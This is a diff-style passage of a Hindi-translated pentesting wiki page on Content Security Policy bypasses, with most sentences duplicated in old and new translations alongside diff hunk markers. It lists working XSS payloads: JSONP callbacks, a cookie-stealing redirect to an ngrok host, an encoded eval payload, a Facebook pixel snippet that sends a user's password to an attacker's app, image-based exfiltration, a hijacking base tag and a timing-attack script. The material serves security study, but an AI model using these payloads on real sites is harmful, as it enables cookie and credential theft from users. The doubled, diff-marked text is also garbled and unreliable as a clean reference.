इस [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) के अनुसार आप [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) को CSP के अंदर दुरुपयोग करके arbitrary JS code execute कर सकते हैं और CSP को bypass कर सकते हैं:
के अनुसार [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) आप CSP के अंदर [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) का दुरुपयोग करके CSP को bypass करते हुए arbitrary JS code execute कर सकते हैं:
```html
<div
ng-controller="CarouselController as c"
@ -261,21 +262,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### open redirect के लिए www.google.com का दुरुपयोग
#### www.google.com का दुरुपयोग करके open redirect
निम्नलिखित URL example.com पर redirect करता है (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
निम्न URL example.com पर redirect करता है (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
दुरुपयोग \*.google.com/script.google.com
Google Apps Script का दुरुपयोग करके script.google.com के भीतर एक पेज में जानकारी प्राप्त करना संभव है। जैसा कि [इस रिपोर्ट](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) में किया गया है।
Google Apps Script का दुरुपयोग करके script.google.com के अंदर किसी पेज में जानकारी प्राप्त करना संभव है। जैसा कि इस [रिपोर्ट](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) में किया गया है।
### तीसरे-पक्ष Endpoints + JSONP
### तृतीय-पक्ष एंडपॉइंट्स + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
इस तरह के परिदृश्यों में जहाँ `script-src` को `self` और किसी विशेष whitelisted डोमेन पर सेट किया गया हो, उसे JSONP के माध्यम से बायपास किया जा सकता है। JSONP endpoints असुरक्षित callback methods की अनुमति देते हैं जो एक attacker को XSS अंजाम देने की अनुमति देते हैं, working payload:
ऐसे परिदृश्य जहाँ `script-src` `self` पर सेट है और एक विशेष डोमेन जिसे whitelisted किया गया है, JSONP का उपयोग करके बाइपास किए जा सकते हैं। JSONP endpoints असुरक्षित callback methods की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं। working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +290,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **तैयार उपयोग के लिए JSONP endpoints प्रदान करता है जो विभिन्न वेबसाइटों के CSP bypass के लिए हैं।**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **तैयार उपयोग के लिए JSONP endpoints शामिल करता है जो विभिन्न वेबसाइटों की CSP bypass के लिए उपयोग किए जा सकते हैं।**
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
उसी तरह की vulnerability उस स्थिति में भी होगी अगर **trusted endpoint में एक Open Redirect हो** क्योंकि अगर प्रारम्भिक endpoint भरोसेमंद है, तो redirects भी भरोसेमंद माने जाते हैं।
### तृतीय-पक्ष दुरुपयोग
### तीसरे पक्ष के दुरुपयोग
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ऐसे कई third-party domains हैं, जिन्हें CSP में कहीं न कहीं allow किया गया हो सकता है, और उनका दुरुपयोग data exfiltrate करने या JavaScript code execute करने के लिए किया जा सकता है। इनमें से कुछ third-parties हैं:
जैसा कि [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई third party domains हैं जिन्हें CSP में कहीं अनुमति दी जा सकती है और उनका दुरुपयोग data exfiltrate करने या JavaScript code execute करने के लिए किया जा सकता है। इनमें से कुछ third-parties हैं:
| Entity | Allowed Domain | Capabilities |
| संस्था | Allowed Domain | क्षमताएँ |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,9 +309,9 @@ As described in the [following post](https://sensepost.com/blog/2023/dress-code-
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
यदि आप अपने लक्ष्य की CSP में किसी भी allowed domain को पाते हैं, तो संभावना है कि आप third-party सेवा पर register करके CSP को bypass कर सकते हैं और या तो data exfiltrate कर सकते हैं उस सेवा पर या code execute करवा सकते हैं।
यदि आपको अपने target की CSP में ऊपर बताए गए किसी भी allowed domain मिले, तो संभावना है कि आप उस third-party service पर register कर के CSP bypass कर सकते हैं और या तो data उस service पर exfiltrate कर सकते हैं या code execute करवा सकते हैं।
For example, if you find the following CSP:
उदाहरण के लिए, यदि आपको निम्नलिखित CSP मिलता है:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -318,41 +319,41 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
आप exfiltrate data करने में सक्षम होने चाहिए, ठीक उसी तरह जैसे यह हमेशा [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) के साथ किया गया है। इस मामले में, आप सामान्यतः निम्न चरणों का पालन करते हैं:
आपको exfiltrate data करने में सक्षम होना चाहिए, ठीक वैसे ही जैसे यह हमेशा से [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) के साथ किया जाता रहा है। इस मामले में, आप इन सामान्य चरणों का पालन करते हैं:
1. यहाँ एक Facebook Developer account बनाएं.
2. एक नया "Facebook Login" app बनाएं और "Website" चुनें.
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें.
4. जिस target site से आप exfiltrate data करना चाहते हैं, आप सीधे Facebook SDK gadget "fbq" का उपयोग करके एक "customEvent" और data payload के माध्यम से data exfiltrate कर सकते हैं.
5. अपने App के "Event Manager" में जाएं और आपने जो application बनाया है उसे चुनें (ध्यान दें कि event manager इस तरह के URL में मिल सकता है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. "Test Events" टैब चुनें ताकि आप "your" web site द्वारा भेजे जा रहे events देख सकें.
1. यहाँ एक Facebook Developer account बनाएँ।
2. एक नया "Facebook Login" app बनाएँ और "Website" चुनें।
3. "Settings -> Basic" पर जाएँ और अपना "App ID" प्राप्त करें।
4. जिस target site से आप exfiltrate data करना चाहते हैं, वहाँ आप सीधे Facebook SDK gadget "fbq" का उपयोग करके एक "customEvent" और data payload के माध्यम से exfiltrate data कर सकते हैं।
5. अपने App "Event Manager" पर जाएँ और उस application को चुनें जो आपने बनाया था (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. "Test Events" टैब चुनें ताकि आप "your" web site द्वारा भेजे जा रहे events देख सकें
फिर, victim साइड पर, आप निम्न code को execute करते हैं ताकि Facebook tracking pixel को attacker के Facebook developer account app-id की ओर initialize किया जा सके और इस तरह एक custom event issue किया जा सके:
फिर, victim side पर, आप निम्न code को execute करते हैं ताकि Facebook tracking pixel को attacker के Facebook developer account app-id की ओर initialize किया जाए और इस तरह एक custom event जारी किया जा सके:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
पिछली तालिका में निर्दिष्ट बाकी सात third-party domains के लिए, उन्हें abuse करने के कई अन्य तरीके हैं। अन्य third-party abuses के बारे में अतिरिक्त व्याख्याओं के लिए पहले दिए गए [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
पिछली तालिका में निर्दिष्ट बाकी सात third-party domains के लिए, इन्हें दुरुपयोग करने के कई अन्य तरीके मौजूद हैं। अन्य third-party abuses के बारे में अतिरिक्त व्याख्याओं के लिए पहले दिए गए [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
पाथ प्रतिबंधों को bypass करने के लिए उपरोक्त redirection के अलावा, कुछ सर्वरों पर Relative Path Overwrite (RPO) नामक एक और technique इस्तेमाल की जा सकती है।
path restrictions को bypass करने के लिए ऊपर बताए गए redirection के अलावा, कुछ सर्वरों पर Relative Path Overwrite (RPO) नामक एक और तकनीक का इस्तेमाल किया जा सकता है।
उदाहरण के लिए, यदि CSP allows the path `https://example.com/scripts/react/`, तो इसे निम्नलिखित तरीके से bypass किया जा सकता है:
उदाहरण के लिए, यदि CSP निम्न path `https://example.com/scripts/react/` की अनुमति देता है, तो इसे निम्न तरीके से bypass किया जा सकता है:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` लोड करेगा।
यह इसलिए काम करता है क्योंकि ब्राउज़र के लिए आप `https://example.com/scripts/react/` के अंतर्गत `..%2fangular%2fangular.js` नाम की फ़ाइल लोड कर रहे हैं, जो CSP के अनुरूप है।
यह इसलिए काम करता है क्योंकि ब्राउज़र के लिए आप `https://example.com/scripts/react/` के अंतर्गत स्थित `..%2fangular%2fangular.js` नाम की फ़ाइल लोड कर रहे हैं, जो CSP के अनुकूल है।
∑, वे इसे डिकोड कर देंगे, और प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
∑, वे इसे डिकोड कर देंगे, और वास्तव में `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगति का **शोषण करके, path rules को बाईपास किया जा सकता है**
**ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगतता का शोषण करके, पथ नियमों को बायपास किया जा सकता है।**
समाधान यह है कि server-side पर `%2f` को `/` के रूप में न माना जाए, ताकि ब्राउज़र और सर्वर के बीच व्याख्या संगत रहे और यह समस्या न हो
समाधान यह है कि सर्वर-साइड पर `%2f` को `/` के रूप में न माना जाए, ताकि ब्राउज़र और सर्वर के बीच व्याख्या सुसंगत रहे और इस समस्या से बचा जा सके
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -363,32 +364,33 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### **base-uri** अनुपस्थित
### missing **base-uri**
यदि **base-uri** निर्देश गायब है तो आप इसका दुरुपयोग करके [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) कर सकते हैं।
यदि **base-uri** निर्देश अनुपस्थित है तो आप इसे दुरुपयोग करके [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) कर सकते हैं।
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **लोड** the script from **अपने सर्वर से XSS हासिल कर सकते हैं।**\
इसके अलावा, अगर **page is loading a script using a relative path** (जैसे `<script src="/js/app.js">`) और वह स्क्रिप्ट एक **Nonce** का उपयोग कर रही है, तो आप **base** **tag** का दुरुपयोग करके उस स्क्रिप्ट को अपने सर्वर से **load** करवा सकते हैं और XSS हासिल कर सकते हैं।\
यदि vulnerable पेज **httpS** के साथ लोड किया गया है, तो base में httpS url का उपयोग करें।
```html
<base href="https://www.attacker.com/" />
```
### AngularJS इवेंट्स
एक विशेष नीति जिसे Content Security Policy (CSP) कहा जाता है, JavaScript इवेंट्स को प्रतिबंधित कर सकती है। फिर भी, AngularJS वैकल्पिक के रूप में कस्टम इवेंट्स पेश करता है। किसी इवेंट के अंदर, AngularJS एक विशिष्ट ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र इवेंट ऑब्जेक्ट का संदर्भ देता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को बाईपास करने के लिए किया जा सकता है। खासकर Chrome में, `$event/event` ऑब्जेक्ट में एक `path`ट्रिब्यूट होता है, जो इवेंट के निष्पादन श्रृंखला में शामिल ऑब्जेक्ट्स की एक array रखता है, और `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना sandbox escape तकनीकों के लिए महत्वपूर्ण है।
Content Security Policy (CSP) जैसी एक विशिष्ट नीति JavaScript इवेंट्स को प्रतिबंधित कर सकती है। फिर भी, AngularJS वैकल्पिक के रूप में कस्टम इवेंट्स प्रदान करता है। एक इवेंट के अंदर, AngularJS एक विशेष ऑब्जेक्ट `$event` प्रदान करता है, जो नेटिव ब्राउज़र इवेंट ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। खास बात यह है कि Chrome में `$event/event` ऑब्जेक्ट में `path`ट्रिब्यूट होता है, जो इवेंट के निष्पादन चेन में शामिल ऑब्जेक्ट्स की एक array रखता है, और `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना sandbox escape tactics के लिए केंद्रीय है।
इस array को `orderBy` filter की ओर निर्देशित करके, इसे iterate किया जा सकता है और अंतिम तत्व (the `window` object) का उपयोग करके global function जैसे `alert()` को ट्रिगर किया जा सकता है। नीचे दिया गया कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
इस array को `orderBy` filter की ओर निर्देशित करके, इसे iterate करना संभव है, और अंतिम तत्व (यानी `window` ऑब्जेक्ट) का उपयोग करके ग्लोबल फ़ंक्शन जैसे `alert()` को ट्रिगर किया जा सकता है। नीचे दिया गया कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
यह स्निपेट दिखाता है कि इवेंट ट्रिगर करने के लिए `ng-focus` directive का उपयोग कैसे किया जाता है, `$event.path|orderBy` द्वारा `path` array में हेरफेर कैसे किया जाता है, और `window` object का उपयोग करके `alert()` function चलाकर `document.cookie` कैसे प्रकट होता है।
यह स्निपेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने, `$event.path|orderBy` का उपयोग करके `path` array को हेरफेर करने, और `window` ऑब्जेक्ट का उपयोग करके `alert()` फ़ंक्शन चलाकर `document.cookie` उजागर करने को दर्शाता है।
**अन्य Angular bypasses खोजने के लिए देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**अन्य Angular bypasses खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS और whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS एप्लिकेशन में स्क्रिप्ट लोड करने के लिए डोमेन्स को व्हाइटलिस्ट करने वाली CSP नीति को callback functions के कॉल और कुछ vulnerable classes के माध्यम से बायपास किया जा सकता है। इस तकनीक पर विस्तृत जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) में मौजूद गाइड में मिलती है।
CSP policy जो Angular JS application में script loading के लिए domains को whitelist करती है, उसे callback functions की invocation और कुछ vulnerable classes के जरिए bypass किया जा सकता है। इस तकनीक के बारे में विस्तृत गाइड इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध है।
Working payloads:
```html
@ -398,13 +400,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
अन्य JSONP arbitrary execution endpoints को [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) में पाया जा सकता है (उनमें से कुछ हटाए गए या ठीक किए गए थे)
Other JSONP arbitrary execution endpoints आप [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) में पा सकते हैं (उनमें से कुछ हटाए गए या ठीक किए गए थे)
### Bypass via Redirection
### रीडायरेक्शन के माध्यम से बाइपास
जब CSP को server-side redirection मिलता है तो क्या होता है? अगर redirection किसी ऐसे अलग origin की ओर ले जाता है जो allowed नहीं है, तो यह फिर भी विफल होगा।
CSP को जब सर्वर-साइड रीडायरेक्शन मिलता है तो क्या होता है? अगर रीडायरेक्शन किसी ऐसे अलग origin पर जाता है जिसे अनुमति नहीं है, तो यह फिर भी असफल होगा।
हालाँकि, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में दिए गए विवरण के अनुसार, अगर redirection किसी अलग path की ओर ले जाता है, तो यह original restrictions को bypass कर सकता है।
हालाँकि, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में दिए वर्णन के अनुसार, अगर रीडायरेक्शन किसी अलग path पर जाता है, तो यह मूल प्रतिबंधों को बाइपास कर सकता है।
यहाँ एक उदाहरण है:
```html
@ -424,13 +426,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
यदि CSP `https://www.google.com/a/b/c/d` पर सेट है, तो चूँकि पाथ पर विचार किया जाता है, दोनों `/test` और `/a/test` स्क्रिप्ट्स CSP द्वारा ब्लॉक कर दी जाएँगी
यदि CSP `https://www.google.com/a/b/c/d` पर सेट है, चूंकि path को ध्यान में लिया जाता है, दोनों `/test` और `/a/test` scripts CSP द्वारा ब्लॉक होंगे
हालाँकि, अंतिम `http://localhost:5555/301` सर्वर-साइड पर **`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`** पर रीडायरेक्ट कर दिया जाएगा। चूँकि यह एक रीडायरेक्शन है, **पाथ पर विचार नहीं किया जाएगा**, और **स्क्रिप्ट लोड की जा सकती है**, इस तरह पाथ प्रतिबंध बायपास हो जाएगा
हालाँकि, अंतिम `http://localhost:5555/301` **server-side पर `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` पर redirect हो जाएगा**। चूंकि यह एक redirection है, **path पर विचार नहीं किया जाता**, और **script लोड किया जा सकता है**, इसलिए path restriction bypass हो जाता है
इस रीडायरेक्शन के साथ, भले ही पाथ पूरी तरह से निर्दिष्ट किया गया हो, यह फिर भी बायपास हो जाएगा।
इस redirection के साथ, भले ही path पूरी तरह से specified हो, यह फिर भी bypass हो जाएगा।
इसलिए, सबसे अच्छा समाधान यह सुनिश्चित करना है कि वेबसाइट में कोई open redirect vulnerabilities न हों और CSP नियमों में ऐसे कोई डोमेन न हों जिनका शोषण किया जा सके।
इसलिए, सबसे अच्छा समाधान यह है कि वेबसाइट में कोई open redirect vulnerabilities न हों और CSP rules में कोई ऐसे domains न हों जिन्हें exploit किया जा सके।
### Bypass CSP with dangling markup
@ -440,9 +442,9 @@ Read [how here](../dangling-markup-html-scriptless-injection/index.html).
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` का मतलब है कि आप code के अंदर कोई भी script execute कर सकते हैं (XSS code execute कर सकता है) और `img-src *` का मतलब है कि आप webpage में किसी भी resource से कोई भी image इस्तेमाल कर सकते हैं।
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप webpage में किसी भी resource से कोई भी image उपयोग कर सकते हैं।
आप इस CSP को images के जरिए data exfiltrate करके bypass कर सकते हैं (इस उदाहरण में XSS एक CSRF का दुरुपयोग करता है जहाँ bot द्वारा access की जा सकने वाली एक page में SQLi मौजूद है, और image के जरिए flag निकालता है):
आप इस CSP को images के माध्यम से डेटा exfiltrating करके bypass कर सकते हैं (इस मामले में XSS एक CSRF का दुरुपयोग करता है जहाँ bot द्वारा access की जाने वाली page में एक SQLi है, और flag को एक image के माध्यम से extract किया जाता है):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -451,11 +453,12 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **load javascript code inserted inside an image** भी कर सकते हैं। उदाहरण के लिए, अगर पेज Twitter से images लोड करने की अनुमति देता है तो आप एक **special image** तैयार करके उसे Twitter पर **upload** कर हैं और "**unsafe-inline**" का दुरुपयोग करके एक JS code (एक सामान्य XSS की तरह) **execute** करवा सकते हैं जो उस **image** को **load** करेगा, उसमें से **JS** को **extract** करेगा और **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **छवि के अंदर इंसर्ट किया गया javascript कोड लोड** कर सकते हैं। उदाहरण के लिए, अगर पेज Twitter से images लोड करने की अनुमति देता है। आप एक **विशेष image** तैयार कर के, उसे Twitter पर **upload** कर के और "**unsafe-inline**" का दुरुपयोग करके एक JS कोड (साधारण XSS की तरह) **execute** करा सकते हैं जो उस **image** को **load** करेगा, उसमें से **JS** को **extract** करेगा और उसे **execute** कर देगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### With Service Workers
### Service Workers के साथ
Service workers का **`importScripts`** फंक्शन CSP द्वारा सीमित नहीं है:
Service workers का **`importScripts`** function CSP द्वारा सीमित नहीं है:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -467,25 +470,25 @@ Service workers का **`importScripts`** function CSP द्वारा स
#### Chrome
यदि आपके द्वारा भेजा गया कोई **parameter** policy की **declaration** के अंदर **pasted inside** किया जा रहा है, तो आप किसी तरह से उस **policy** को **alter** करके इसे बेकार बना सकते हैं। आप इन bypasses में से किसी का उपयोग करके **allow script 'unsafe-inline'** करवा सकते हैं:
यदि आपका भेजा गया कोई **parameter** पॉलिसी की **declaration** के अंदर **pasted** किया जा रहा है, तो आप किसी तरह से उस **policy** को बदलकर उसे बेकार बना सकते हैं। आप इन बायपासेस में से किसी के जरिए script 'unsafe-inline' को **allow** कर सकते हैं:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
क्योंकि यह निर्देश **overwrite existing script-src directives** करेगा.\
आप उदाहरण यहाँ देख सकते हैं: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
क्योंकि यह निर्देश मौजूदा **script-src directives** को ओवरराइट कर देगा।\
आप यहाँ एक उदाहरण देख सकते हैं: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge में यह बहुत आसान है। यदि आप CSP में केवल इसको जोड़ सकें: **`;_`**, तो **Edge** पूरी **policy** को **drop** कर देगा.\
Edge में यह बहुत सरल है। अगर आप CSP में सिर्फ यह जोड़ दें: **`;_`** तो **Edge** पूरी **policy** को हटा देगा।\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
निर्देश `'unsafe-inline'` की कमी पर ध्यान दें.\
इस बार आप victim को `<iframe>` के साथ **XSS** के जरिए एक पेज **load** करने के लिए मजबूर कर सकते हैं जो **your control** में है। इस बार आप victim को उस पेज तक पहुँचाने वाले हैं जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पेज के content तक access नहीं कर सकते, लेकिन अगर किसी तरह आप पेज के load होने में लगने वाले समय को **control the time the page needs to load** कर सकें तो आप आवश्यक जानकारी निकाल सकते हैं।
निर्देश `'unsafe-inline'` की अनुपस्थिति पर ध्यान दें।\
इस बार आप पीड़ित को **लोड** कराने के लिए **आपके नियंत्रण** में एक पेज **XSS** के माध्यम से `<iframe` के साथ दिखवा सकते हैं। इस बार आप पीड़ित को उस पेज तक पहुँचने पर मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पेज की सामग्री तक पहुँच नहीं सकते, लेकिन अगर किसी तरह आप पेज के लोड होने में लगने वाले समय को **नियंत्रित कर सकें** तो आप आवश्यक जानकारी निकाल सकते हैं।
इस बार एक **flag** निकाला जाएगा — जब भी SQLi के जरिए कोई **char is correctly guessed**, तो sleep function की वजह से **response** को **more time** लगेगा। फिर आप flag निकाल पाएँगे:
इस बार एक **flag** निकाला जाएगा — जब भी SQLi के माध्यम से कोई **char is correctly guessed** होगा, तो **response** sleep function के कारण **more time** लेगा। फिर आप flag निकाल पाएंगे:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -547,22 +550,22 @@ run()
```
### Bookmarklets के माध्यम से
यह attack कुछ social engineering शामिल करता है जहाँ attacker **उपयोगकर्ता को ब्राउज़र के bookmarklet पर एक लिंक drag\&drop करने के लिए मनाता है**। यह bookmarklet में **malicious javascript** code होगा जो जब drag\&dropped या क्लिक किया जाएगा तो वर्तमान वेब विंडो के context में execute होगा, **CSP को bypass करते हुए और cookies या tokens जैसे संवेदनशील जानकारी चुराने की अनुमति देगा**।
यह हमला कुछ social engineering शामिल करेगा जहाँ हमलावर उपयोगकर्ता को ब्राउज़र के bookmarklet पर एक लिंक drag and drop करने के लिए राज़ी करता है। यह bookmarklet **malicious javascript** कोड रखेगा जो कि जब drag\&dropped या क्लिक किया जाएगा तो वर्तमान वेब विंडो के context में execute होगा, जिससे **CSP bypass होकर संवेदनशील जानकारी चुराने की अनुमति** मिल सकती है जैसे कि cookies या tokens
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
अधिक जानकारी के लिए [**मूल रिपोर्ट यहाँ देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP को सीमित करके bypass
### CSP को सीमित करके CSP bypass
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को bypass किया गया है जब एक allowed iframe के अंदर एक अधिक restrictive CSP inject किया गया जो एक specific JS file को load होने से रोकता था और फिर वह file, **prototype pollution** या **dom clobbering** के माध्यम से, **abuse a different script to load an arbitrary script** करने की अनुमति देता था।
